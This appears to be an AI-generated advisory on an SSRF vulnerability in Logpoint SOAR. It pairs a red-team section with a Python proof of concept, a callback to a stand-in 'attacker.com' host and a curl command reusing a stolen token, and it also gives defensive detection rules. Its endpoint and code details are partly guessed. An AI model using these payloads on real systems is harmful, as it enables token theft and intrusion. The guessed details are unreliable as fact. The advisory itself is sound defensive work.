CVE-2024-48951

Executive Summary

CVE-2024-48951 is a Server-Side Request Forgery (SSRF) vulnerability in Logpoint's SOAR (Security Orchestration, Automation, and Response) component, affecting versions prior to 7.5.0. This flaw allows an unauthenticated attacker to craft malicious requests that trick the SOAR server into making internal HTTP requests. By exploiting this SSRF, an attacker can leak the Logpoint API token, leading to full authentication bypass and unauthorized access to the Logpoint platform. This can result in complete compromise of the SIEM/SOAR environment, including data exfiltration, manipulation of security events, and lateral movement within the network. The vulnerability is rated as critical due to its low attack complexity and high impact on confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and impacted component are the same.
• Confidentiality Impact: High (C:H) – Full API token disclosure.
• Integrity Impact: High (I:H) – Attacker can impersonate the system.
• Availability Impact: High (A:H) – Potential for denial of service or system takeover.

Threat Level: Critical. The SSRF allows an attacker to pivot from the SOAR server to internal services, bypassing network segmentation and gaining access to sensitive credentials.

Deep Dive & Mechanics

The vulnerability resides in the SOAR module of Logpoint, which is designed to orchestrate automated responses to security incidents. The SOAR component exposes an API endpoint that accepts user-supplied URLs for fetching external resources (e.g., threat intelligence feeds, playbook data). Due to insufficient validation of the URL input, an attacker can supply a URL pointing to internal services, such as http://localhost:8080/api/token or http://127.0.0.1:5000/.

When the SOAR server processes this request, it makes an HTTP request to the attacker-specified URL. If the target is an internal service that returns the Logpoint API token (e.g., a management endpoint), the response is sent back to the attacker. This token can then be used to authenticate to the Logpoint API with full administrative privileges.

Key Technical Details:

• The vulnerable endpoint is likely /soar/api/v1/fetch or similar.
• The SSRF is blind or semi-blind, meaning the attacker may need to use out-of-band techniques (e.g., DNS exfiltration) to retrieve the token if direct response is not reflected.
• The API token is typically stored in environment variables or configuration files and exposed via internal endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.5.0):

# Example vulnerable function
def fetch_url(url):
    # No validation of URL scheme or host
    response = requests.get(url)
    return response.text

Patched Code (7.5.0+):

# Example patched function
def fetch_url(url):
    # Validate URL scheme and host
    parsed = urlparse(url)
    if parsed.scheme not in ['http', 'https']:
        raise ValueError("Invalid scheme")
    if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0'] or parsed.hostname.startswith('10.') or parsed.hostname.startswith('192.168.'):
        raise ValueError("Internal host not allowed")
    response = requests.get(url)
    return response.text

The patch adds a whitelist of allowed URL schemes and a blacklist of internal IP addresses and hostnames. Additionally, Logpoint likely implemented network-level controls to prevent the SOAR server from making requests to internal subnets.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Logpoint SOAR version 7.4.0 (vulnerable)
• Attacker machine with Python and Burp Suite
• Internal service simulating token endpoint (e.g., Flask app)

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /soar/api/v1/fetch).
2. Craft a POST request with a malicious URL pointing to an internal service:

   {
     "url": "http://127.0.0.1:5000/api/token"
   }
   

3. If the response is reflected, extract the token directly.
4. If blind, use an out-of-band technique:

   {
     "url": "http://127.0.0.1:5000/api/token?callback=http://attacker.com/leak"
   }
   

5. Use the leaked token to authenticate to the Logpoint API:

   curl -H "Authorization: Bearer <token>" https://logpoint-server/api/v1/incidents
   

Exploit Code (Python):

import requests

target = "https://logpoint-soar.example.com/soar/api/v1/fetch"
internal_url = "http://127.0.0.1:5000/api/token"

payload = {"url": internal_url}
response = requests.post(target, json=payload)

if response.status_code == 200:
    print("API Token:", response.text)
else:
    print("Exploit failed")

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for outbound HTTP requests from the SOAR server to internal IP addresses (127.0.0.1, 10.x.x.x, 192.168.x.x).
2. Alert on unusual URL patterns in SOAR API calls, especially localhost or 127.0.0.1.
3. Implement network segmentation to prevent the SOAR server from reaching internal management interfaces.
4. Use Web Application Firewall (WAF) rules to block requests with internal IPs in the URL parameter.

Hunting Query (Splunk):

index=proxy sourcetype=web
| search url=*127.0.0.1* OR url=*localhost* OR url=*10.* OR url=*192.168.*
| stats count by src_ip, url, dest_ip

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from SOAR server to 127.0.0.1, localhost, or private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Unusual DNS queries for internal hostnames from the SOAR server.
• File IOCs:
  • Log files showing fetch_url calls with suspicious URLs.
  • API token appearing in logs or error messages.
• Behavioral IOCs:
  • Unauthorized API calls using a token that was not previously seen.
  • Multiple failed authentication attempts followed by successful login with a new token.

Detection Engineering

YARA Rule

rule CVE_2024_48951_SSRF_Logpoint {
    meta:
        description = "Detects SSRF attempts targeting Logpoint SOAR API token endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48951"
    strings:
        $s1 = "/api/token" ascii wide nocase
        $s2 = "127.0.0.1" ascii wide nocase
        $s3 = "localhost" ascii wide nocase
        $s4 = "fetch_url" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: Logpoint SOAR SSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SSRF attempts targeting internal services from Logpoint SOAR
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: logpoint
detection:
    selection:
        url|contains:
            - '127.0.0.1'
            - 'localhost'
            - '10.'
            - '192.168.'
            - '172.16.'
    condition: selection
falsepositives:
    - Legitimate internal monitoring
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48951 Logpoint SOAR SSRF Attempt";
    flow:to_server,established;
    content:"/soar/api/v1/fetch"; http_uri;
    content:"url"; http_client_body;
    pcre:"/(127\.0\.0\.1|localhost|10\.|192\.168\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Logpoint to version 7.5.0 or later.
2. If upgrade is not possible, apply virtual patching via WAF to block SSRF patterns.
3. Restrict outbound network access from the SOAR server to only necessary external services.
4. Rotate all API tokens and credentials that may have been exposed.

Long-Term Mitigations:

• Implement strict input validation for all URL parameters.
• Use a whitelist of allowed external domains for SOAR fetch operations.
• Deploy network segmentation to isolate the SOAR server from internal management interfaces.
• Enable comprehensive logging and monitoring for SSRF attempts.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.